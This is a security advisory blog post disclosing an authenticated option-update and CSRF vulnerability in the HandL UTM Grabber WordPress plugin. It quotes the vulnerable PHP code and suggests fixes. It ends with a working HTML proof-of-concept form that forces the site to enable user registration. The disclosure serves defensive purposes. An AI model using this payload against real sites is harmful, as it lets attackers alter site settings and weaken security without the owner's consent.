26 Aug

Our Proactive Monitoring Caught an Authenticated Option Update Vulnerability in HandL UTM Grabber

One of the ways we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught an authenticated option update vulnerability in the plugin HandL UTM Grabber, which can also be exploited through cross-site request forgery (CSRF).

The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.

In the file /handl-utm-grabber.php the function handl_notice_dismiss() is registered to be accessible through WordPress AJAX functionality for those logged in to WordPress:

add_action( 'wp_ajax_handl_notice_dismiss', 'handl_notice_dismiss' );

That will set the value of an arbitrary WordPress option specified by the POST input “field” to “1”:

function handl_notice_dismiss(){
	add_option( $_POST['field'], '1', '', 'yes' ) or update_option($_POST['field'], '1'); 

That could be used, among other things, to disable a security plugin.

The best approach to securing that would probably involve limiting what options can be updated, as well as doing a capabilities check to limit what user can access that functionality, and doing a nonce check to prevent cross-site request forgery (CSRF).

Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will turn on user registration, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]”/wp-admin/admin-ajax.php?action=handl_notice_dismiss" method="POST">
<input type="hidden" name="field" value="users_can_register" />
<input type="submit" value="Submit" />

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.